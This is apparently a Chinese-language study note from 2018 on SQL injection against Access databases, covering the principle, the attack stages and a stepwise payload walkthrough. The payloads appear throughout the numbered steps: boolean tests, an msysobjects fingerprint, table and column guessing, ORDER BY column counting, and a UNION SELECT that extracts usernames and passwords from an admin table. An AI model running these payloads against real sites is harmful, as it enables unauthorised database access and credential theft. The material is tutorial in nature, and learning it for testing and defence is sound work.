[关闭]
@1kbfree 2018-03-17T14:50:56.000000Z 字数 1318 阅读 1404

sql注入

渗透


sql注入原理:

SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息

sql注入类型

sql注入点

任何存在与数据库交互的地方,都可能存在sql注入

攻击流程

SQL注入威胁表现形式可以体现为以下几点:

SQL注入攻击的典型手段:
- 判断应用程序是否存在注入漏洞
- 收集信息、并判断数据库类型
- 根据注入参数类型,重构SQL语句的原貌
- 猜解表名、字段名
- 获取账户信息、攻击web或为下一步攻击做准备

access数据如注入

url:http://www.xxx.xxx?id=1

注入语法:

  1. 判断是否有注入:
    http://www.xxx.xxx?id=1'
    http://www.xxx.xxx?id=1 and 1=1
    http://www.xxx.xxx?id=1 and 1=2

    如果执行①后,页面上提示报错或者提示数据库错误的话,说明是可能存在注入漏洞的。
    如果执行②后,页面正常显示,而执行③后,页面报错,那么说明这个页面是存在注入漏洞的。

  2. 判断是否为access数据库:
    1'and exists (select * from msysobjects) > 0-- a
    这里的-- a表示注释

    注意:如果返回msysobjects上没有读取数据权限就是证明这个库存在msysobjects,能证明这个是access数据库
    exists 是判断是否存在,和in类似,但效率要比in高

  3. 判断数据表:
    1' and exists(select * from admin)-- a 判断表admin是否存在,如果返回正常,说明admin表是存在的
    1' and exists(select * from users)-- a 判断表users是否存在,如果返回正常,说明users表是存在的

  4. 判断字段名:
    如果admin表存在,我们可以这样1' and exists(select password from admin)-- a来判断字段(password)是否存在

  5. 判断字段长度:

order by 是排序的意思
1' order by 30-- a 看能否排序30个,如果不能说明少于30个
1' order by 25-- a 看能否排序25个,如果不能说明少于25个
1' order by 20-- a 看能否排序30个,如果能说明等于或大于20个
判断在前端的显示个数可以慢慢猜,如果在20时没报错,在30的时候报错了,说明这个字段长度大于或等于20,小于30

如果知道了显示个数为二十,我们可以这样1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin-- a返回如下图:

image_1c8q6ieebbdv1sinfj51c0h1975m.png-23.5kB

我们在继续输入1' union select 1,2,username,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20 from admin-- a意思是让3的地方显示username,让15那里显示password。我们来看看结果:
image_1c8q6o2dr1f8but51eali7nncd13.png-46.6kB

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注